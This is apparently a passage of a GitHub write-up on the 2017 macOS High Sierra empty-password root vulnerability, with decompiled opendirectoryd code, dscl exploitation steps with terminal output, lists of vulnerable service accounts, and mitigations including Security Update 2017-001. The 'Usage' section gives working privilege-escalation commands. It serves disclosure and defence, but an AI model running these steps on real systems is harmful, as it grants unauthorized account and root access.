                    rbx = *qword;
                    *(int8_t *)(rsp - 0x20) = 0x2;
                    *(int8_t *)(rsp - 0x1f) = 0x3;
                    *(int8_t *)(rsp - 0x1e) = 0x40;
                    *(int8_t *)(rsp - 0x1d) = 0x8;
                    *(rsp - 0x1c) = var_40;
                    *(int8_t *)(rsp - 0x14) = 0x12;
                    *(int8_t *)(rsp - 0x13) = 0x4;
                    *(int32_t *)(rsp - 0x12) = 0x10;
                    *(int8_t *)(rsp - 0xe) = 0x32;
                    *(int8_t *)(rsp - 0xd) = 0x8;
                    *(rsp - 0xc) = r15;
                    _os_log_error_impl(__mh_execute_header, rbx, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed to generate access token", rsp - 0x20, 0x1c);
                    rbx = 0x0;
            }
            else {
                    rbx = 0x0;
            }
    }
    else {
            rax = *_kCFAllocatorNull;
            rax = CFDataCreateWithBytesNoCopy(**_kCFAllocatorDefault, var_70, var_68, *rax);
            var_48 = rax;
            r14 = APFSVolumeSetUnlockRecord(*(*(r14 + 0x8) + 0x30), r15, rax, *(r14 + 0x8));
            if (*qword != 0xffffffffffffffff) {
                    dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
            }
            if (r14 != 0x0) {
                    if (os_log_type_enabled(*qword, 0x10) != 0x0) {
                            r14 = *qword;
                            *(int8_t *)(rsp - 0x30) = 0x2;
                            *(int8_t *)(rsp - 0x2f) = 0x4;
                            *(int8_t *)(rsp - 0x2e) = 0x40;
                            *(int8_t *)(rsp - 0x2d) = 0x8;
                            *(rsp - 0x2c) = var_40;
                            *(int8_t *)(rsp - 0x24) = 0x12;
                            *(int8_t *)(rsp - 0x23) = 0x4;
                            *(int32_t *)(rsp - 0x22) = 0x10;
                            *(int8_t *)(rsp - 0x1e) = 0x32;
                            *(int8_t *)(rsp - 0x1d) = 0x8;
                            *(rsp - 0x1c) = r15;
                            *(int8_t *)(rsp - 0x14) = 0x0;
                            *(int8_t *)(rsp - 0x13) = 0x4;
                            *(int32_t *)(rsp - 0x12) = 0x0;
                            _os_log_error_impl(__mh_execute_header, r14, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed while creating access token %{errno}d", rsp - 0x30, 0x22);
                            rbx = 0x0;
                    }
                    else {
                            rbx = 0x0;
                    }
            }
            else {
                    if (os_log_type_enabled(*qword, 0x0) != 0x0) {
                            r14 = *qword;
                            *(int8_t *)(rsp - 0x20) = 0x2;
                            *(int8_t *)(rsp - 0x1f) = 0x3;
                            *(int8_t *)(rsp - 0x1e) = 0x40;
                            *(int8_t *)(rsp - 0x1d) = 0x8;
                            *(rsp - 0x1c) = var_40;
                            *(int8_t *)(rsp - 0x14) = 0x12;
                            *(int8_t *)(rsp - 0x13) = 0x4;
                            *(int32_t *)(rsp - 0x12) = 0x10;
                            *(int8_t *)(rsp - 0xe) = 0x32;
                            *(int8_t *)(rsp - 0xd) = 0x8;
                            *(rsp - 0xc) = r15;
                            _os_log_impl(__mh_execute_header, r14, 0x0, "Converted %@ (%{public,uuid_t}.16P) to use SecureToken Successfully", rsp - 0x20, 0x1c);
                            rsp = rsp;
                    }
                    _securetoken_helpers_update_authauthority(var_60, r12, var_40, r13, 0x4, 0x1, arg6);
                    rbx = 0x1;
            }
            r12 = var_38;
            rdi = var_48;
            if (rdi != 0x0) {
                    CFRelease(rdi);
            }
    }
    rbx = rbx != 0x0 ? 0x1 : 0x0;
    goto loc_100058655;

loc_1000580bf:
    rbx = CFSetCreateMutable(**_kCFAllocatorDefault, 0x0, *_kCFTypeSetCallBacks);
    var_E8 = *__NSConcreteStackBlock;
    *(int32_t *)(&var_E8 + 0x8) = 0x40000000;
    *(int32_t *)(&var_E8 + 0xc) = 0x0;
    *(&var_E8 + 0x10) = sub_100058780;
    *(&var_E8 + 0x18) = 0x100085a58;
    *(&var_E8 + 0x20) = rbx;
    _odarray_enumerate(var_58, &var_E8);
    rdi = var_58;
    if (rdi != 0x0) {
            CFRelease(rdi);
    }
    rax = CFSetContainsValue(rbx, @"EBC6C064-0000-11AA-AA11-00306543ECAC");
    var_80 = r12;
    if ((rax == 0x0) && ((((CFSetContainsValue(rbx, @"64C0C6EB-0000-11AA-AA11-00306543ECAC") == 0x0) && (CFSetContainsValue(rbx, @"C064EBC6-0000-11AA-AA11-00306543ECAC") == 0x0)) && (CFSetContainsValue(rbx, @"EC1C2AD9-B618-4ED6-BD8D-50F361C27507") == 0x0)) && (CFSetContainsValue(rbx, @"2FA31400-BAFF-4DE7-AE2A-C3AA6E1FD340") == 0x0))) {
            r12 = *__NSConcreteStackBlock;
            var_48 = 0x0;
    }
    else {
            CFSetRemoveValue(rbx, @"EBC6C064-0000-11AA-AA11-00306543ECAC");
            CFSetRemoveValue(rbx, @"64C0C6EB-0000-11AA-AA11-00306543ECAC");
            CFSetRemoveValue(rbx, @"C064EBC6-0000-11AA-AA11-00306543ECAC");
            CFSetRemoveValue(rbx, @"EC1C2AD9-B618-4ED6-BD8D-50F361C27507");
            CFSetRemoveValue(rbx, @"2FA31400-BAFF-4DE7-AE2A-C3AA6E1FD340");
            if (*qword == 0xffffffffffffffff) {
                    r12 = *__NSConcreteStackBlock;
            }
            else {
                    r12 = *__NSConcreteStackBlock;
                    dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
            }
            rax = os_log_type_enabled(*qword, 0x0);
            var_48 = 0x1;
            if (rax != 0x0) {
                    r14 = *qword;
                    *(int16_t *)(rsp - 0x10) = 0x0;
                    _os_log_impl(__mh_execute_header, r14, 0x0, "Ignoring recovery records", rsp - 0x10, 0x2);
                    rsp = rsp;
            }
    }
    r14 = CFSetGetCount(rbx);
    CFRelease(rbx);
    if (r14 == 0x0) goto loc_1000583be;

loc_100058261:
    if (*qword == 0xffffffffffffffff) {
            r13 = rbx;
    }
    else {
            r13 = rbx;
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    r12 = var_38;
    if (os_log_type_enabled(*qword, 0x10) == 0x0) goto loc_1000584aa;

loc_100058292:
    r14 = rsp;
    *(int8_t *)(rsp - 0x30) = 0x2;
    *(int8_t *)(rsp - 0x2f) = 0x4;
    *(int8_t *)(rsp - 0x2e) = 0x40;
    *(int8_t *)(rsp - 0x2d) = 0x8;
    *(rsp - 0x2c) = var_40;
    *(int8_t *)(rsp - 0x24) = 0x12;
    *(int8_t *)(rsp - 0x23) = 0x4;
    *(int32_t *)(rsp - 0x22) = 0x10;
    *(int8_t *)(rsp - 0x1e) = 0x32;
    *(int8_t *)(rsp - 0x1d) = 0x8;
    *(rsp - 0x1c) = r15;
    *(int8_t *)(rsp - 0x14) = 0x42;
    *(int8_t *)(rsp - 0x13) = 0x8;
    *(rsp - 0x12) = r13;
    goto loc_100058498;

loc_100058498:
    _os_log_error_impl();
    rbx = 0x0;
    goto loc_100058655;

loc_1000584aa:
    rbx = 0x0;
    goto loc_100058655;

loc_1000583be:
    rcx = arg6;
    if (*(*(rcx + 0x8) + 0x10) != 0x0) {
            var_C0 = r12;
            *(int32_t *)(&var_C0 + 0x8) = 0x40000000;
            *(int32_t *)(&var_C0 + 0xc) = 0x0;
            *(&var_C0 + 0x10) = sub_100058791;
            *(&var_C0 + 0x18) = 0x100085a78;
            *(&var_C0 + 0x20) = rcx;
            dispatch_sync(*rcx, &var_C0);
    }
    r12 = var_80;
    if (var_48 == 0x0) goto loc_100057f2b;

loc_100058415:
    if (*qword != 0xffffffffffffffff) {
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    r12 = var_38;
    if (os_log_type_enabled(*qword, 0x10) == 0x0) goto loc_1000584aa;

loc_10005843f:
    r14 = rsp;
    *(int8_t *)(rsp - 0x20) = 0x2;
    *(int8_t *)(rsp - 0x1f) = 0x3;
    *(int8_t *)(rsp - 0x1e) = 0x40;
    *(int8_t *)(rsp - 0x1d) = 0x8;
    *(rsp - 0x1c) = var_40;
    *(int8_t *)(rsp - 0x14) = 0x12;
    *(int8_t *)(rsp - 0x13) = 0x4;
    *(int32_t *)(rsp - 0x12) = 0x10;
    *(int8_t *)(rsp - 0xe) = 0x32;
    *(int8_t *)(rsp - 0xd) = 0x8;
    *(rsp - 0xc) = r15;
    goto loc_100058498;

loc_100058079:
    rbx = _securetoken_helpers_repair_user(var_60, rbx, var_40, r14, 0x0, r15, r13, r12) == 0x0 ? 0x1 : 0x0;
    rdi = 0x0;
    if (rdi != 0x0) {
            CFRelease(rdi);
    }
    goto loc_1000583b5;

loc_100057e45:
    if (*qword != 0xffffffffffffffff) {
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    if (os_log_type_enabled(*qword, 0x1) == 0x0) goto loc_100057ed6;

loc_100057e6b:
    r14 = rsp;
    *(int8_t *)(rsp - 0x20) = 0x2;
    *(int8_t *)(rsp - 0x1f) = 0x3;
    *(int8_t *)(rsp - 0x1e) = 0x40;
    *(int8_t *)(rsp - 0x1d) = 0x8;
    *(rsp - 0x1c) = var_40;
    *(int8_t *)(rsp - 0x14) = 0x12;
    *(int8_t *)(rsp - 0x13) = 0x4;
    *(int32_t *)(rsp - 0x12) = 0x10;
    *(int8_t *)(rsp - 0xe) = 0x32;
    *(int8_t *)(rsp - 0xd) = 0x8;
    *(rsp - 0xc) = r15;
    goto loc_100057eb9;
}

Initial guess

Somehow, the upgrade process seems to be triggered even if the password isn't validated.

On the first pass, we clearly see the PlistFile backend denying the authentication, on the second pass this system isn't triggered. It look like another system is accepting the auth. Also, diference on the second pass, there is a SQLite syntax error triggered.

Usage

Setting an empty password for any "crypt" disabled accounts

Accounts like the root one can be simply enabled by doing login tryout without password, from most kind of login interface (dscl, lockpad, loginwindow, VNC…).

For that, the account still need to be allowed for login (valid shell and etc.).

Enabling a service account for login

Aside of the root account, the trick can be used on any service account from any kind of opened session.

As an example, here is how to set a password and a shell to _lp account.

Locals-Mac:~ user$ dscl . -authonly _lp ""
Authentication for node /Local/Default failed. (-14090, eDSAuthFailed)
<dscl_cmd> DS Error: -14090 (eDSAuthFailed)

Locals-Mac:~ user$ dscl . -authonly _lp ""

Locals-Mac:~ user$ dscl . -passwd /Users/_lp "" "test"

Locals-Mac:~ user$ chsh _lp
Changing shell for _lp.
Password for _lp: 

Locals-Mac:~ user$ finger _lp
Login: _lp            			Name: Printing Services
Directory: /var/spool/cups          	Shell: /bin/bash
Never logged in.
No Mail.
No Plan.

Locals-Mac:~ user$ su lp
Password:
bash-3.2$ whoami 
_lp

Vulnerable accounts

By default, macOS as few accounts already created.

Accounts vulnerables are the one using the "crypt" disabling method (putting a * in the passwd field).

Such a list of account can be retrieved with a dscl request.

One * is vulnerable, multiple is not vulnerable.

dscl . list /Users Password

_amavisd                *
_analyticsd             *
_appleevents            *
_applepay               *
_appowner               *
_appserver              *
_appstore               *
_ard                    *
_assetcache             *
_astris                 *
_atsserver              *
_avbdeviced             *
_calendar               *
_captiveagent           *
_ces                    *
_clamav                 *
_cmiodalassistants      *
_coreaudiod             *
_coremediaiod           *
_ctkd                   *
_cvmsroot               *
_cvs                    *
_cyrus                  *
_datadetectors          *
_devdocs                *
_devicemgr              *
_displaypolicyd         *
_distnote               *
_dovecot                *
_dovenull               *
_dpaudio                *
_eppc                   *
_findmydevice           *
_fpsd                   *
_ftp                    *
_gamecontrollerd        *
_geod                   *
_hidd                   *
_iconservices           *
_installassistant       *
_installer              *
_jabber                 *
_kadmin_admin           *
_kadmin_changepw        *
_krb_anonymous          *
_krb_changepw           *
_krb_kadmin             *
_krb_kerberos           *
_krb_krbtgt             *
_krbfast                *
_krbtgt                 *
_launchservicesd        *
_lda                    *
_locationd              *
_lp                     *
_mailman                *
_mbsetupuser            ********
_mcxalr                 *
_mdnsresponder          *
_mobileasset            *
_mysql                  *
_netbios                *
_netstatistics          *
_networkd               *
_nsurlsessiond          *
_nsurlstoraged          *
_ondemand               *
_postfix                *
_postgres               *
_qtss                   *
_sandbox                *
_screensaver            *
_scsd                   *
_securityagent          *
_serialnumberd          *
_softwareupdate         *
_spotlight              *
_sshd                   *
_svn                    *
_taskgated              *
_teamsserver            *
_timed                  *
_timezone               *
_tokend                 *
_trustevaluationagent   *
_unknown                *
_update_sharing         *
_usbmuxd                *
_uucp                   *
_warmd                  *
_webauthserver          *
_windowserver           *
_www                    *
_wwwproxy               *
_xserverdocs            *
daemon                  *
nobody                  *
root                    *

This list must be crosschecked with the UserShell value

The users without /usr/bin/false and a single * as password should be OK for a direct usage like the root one, from most kind of login interface (see section Setting an empty password for any "crypt" disabled accounts)

For others, it's still possible to change the shell from any kind of already logged accounts following section Enabling a service account for login

dscl . list /Users UserShell

_amavisd                /usr/bin/false
_analyticsd             /usr/bin/false
_appleevents            /usr/bin/false
_applepay               /usr/bin/false
_appowner               /usr/bin/false
_appserver              /usr/bin/false
_appstore               /usr/bin/false
_ard                    /usr/bin/false
_assetcache             /usr/bin/false
_astris                 /usr/bin/false
_atsserver              /usr/bin/false
_avbdeviced             /usr/bin/false
_calendar               /usr/bin/false
_captiveagent           /usr/bin/false
_ces                    /usr/bin/false
_clamav                 /usr/bin/false
_cmiodalassistants      /usr/bin/false
_coreaudiod             /usr/bin/false
_coremediaiod           /usr/bin/false
_ctkd                   /usr/bin/false
_cvmsroot               /usr/bin/false
_cvs                    /usr/bin/false
_cyrus                  /usr/bin/false
_datadetectors          /usr/bin/false
_devdocs                /usr/bin/false
_devicemgr              /usr/bin/false
_displaypolicyd         /usr/bin/false
_distnote               /usr/bin/false
_dovecot                /usr/bin/false
_dovenull               /usr/bin/false
_dpaudio                /usr/bin/false
_eppc                   /usr/bin/false
_findmydevice           /usr/bin/false
_fpsd                   /usr/bin/false
_ftp                    /usr/bin/false
_gamecontrollerd        /usr/bin/false
_geod                   /usr/bin/false
_hidd                   /usr/bin/false
_iconservices           /usr/bin/false
_installassistant       /usr/bin/false
_installer              /usr/bin/false
_jabber                 /usr/bin/false
_kadmin_admin           /usr/bin/false
_kadmin_changepw        /usr/bin/false
_krb_anonymous          /usr/bin/false
_krb_changepw           /usr/bin/false
_krb_kadmin             /usr/bin/false
_krb_kerberos           /usr/bin/false
_krb_krbtgt             /usr/bin/false
_krbfast                /usr/bin/false
_krbtgt                 /usr/bin/false
_launchservicesd        /usr/bin/false
_lda                    /usr/bin/false
_locationd              /usr/bin/false
_lp                     /usr/bin/false
_mailman                /usr/bin/false
_mbsetupuser            /bin/bash
_mcxalr                 /usr/bin/false
_mdnsresponder          /usr/bin/false
_mobileasset            /usr/bin/false
_mysql                  /usr/bin/false
_netbios                /usr/bin/false
_netstatistics          /usr/bin/false
_networkd               /usr/bin/false
_nsurlsessiond          /usr/bin/false
_nsurlstoraged          /usr/bin/false
_ondemand               /usr/bin/false
_postfix                /usr/bin/false
_postgres               /usr/bin/false
_qtss                   /usr/bin/false
_sandbox                /usr/bin/false
_screensaver            /usr/bin/false
_scsd                   /usr/bin/false
_securityagent          /usr/bin/false
_serialnumberd          /usr/bin/false
_softwareupdate         /usr/bin/false
_spotlight              /usr/bin/false
_sshd                   /usr/bin/false
_svn                    /usr/bin/false
_taskgated              /usr/bin/false
_teamsserver            /usr/bin/false
_timed                  /usr/bin/false
_timezone               /usr/bin/false
_tokend                 /usr/bin/false
_trustevaluationagent   /usr/bin/false
_unknown                /usr/bin/false
_update_sharing         /usr/bin/false
_usbmuxd                /usr/bin/false
_uucp                   /usr/sbin/uucico
_warmd                  /usr/bin/false
_webauthserver          /usr/bin/false
_windowserver           /usr/bin/false
_www                    /usr/bin/false
_wwwproxy               /usr/bin/false
_xserverdocs            /usr/bin/false
daemon                  /usr/bin/false
nobody                  /usr/bin/false
root                    /bin/sh

Take care that this list of default account can be extended by third part software and there is no reliable way to identify an account who has been touched (if the offensive is done correctly). So you've to compare the state with a state coming from a trusted computer.

Hacking before getting hacked

Please, consider the fact there is no really tryout on this solution. You might find border effect to set a password on the services accounts and lead your system to undefined behavior.

This section is provided for information purpose only and should be used carefully based on your own opinion on the issue.

If you've real security threats to handle, the real fix for this issue is to go back on 10.12.

Using proper command line

Locals-Mac:~ ladmin$ dscl -u ladmin . -passwd /Users/_lp "$(openssl rand -base64 32)"
Password: <admin password>

Using vuln itself to fix the vuln

dscl . -authonly _lp ""
dscl . -authonly _lp ""
dscl . -passwd /Users/_lp "" "$(openssl rand -base64 32)"

Another option provided by Pepijn Bruienne would be to delete the password field to avoid the upgrade process. As the other solution, not really tested so take care.

defaults delete /var/db/dslocal/nodes/Default/users/_lp.plist passwd

Iterate across all vulnerable accounts.

while read targetAccount
do 
	echo "$targetAccount is vulnerable, do something"
done < <(dscl . list /Users Password | grep -v '\*\*' | awk '{print $1}')

Security Update 2017-001

Security fix provided by Apple deploy a fixed version of the Open Directory binaries setup.

The post install action also reset the defaults accounts to the original state that can be found in /System/Library/DirectoryServices/DefaultLocalDB/Default/users.

Content of this folder isn't reseted by the security update. However, the folder is SIP protected.

If you decided to disable SIP on your network you might still be in a undefined state.

This mean, at the end of the security update your system accounts will be in default state. That is to mean, root disabled.

If you enabled root by design before this story, you will have to enable it again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment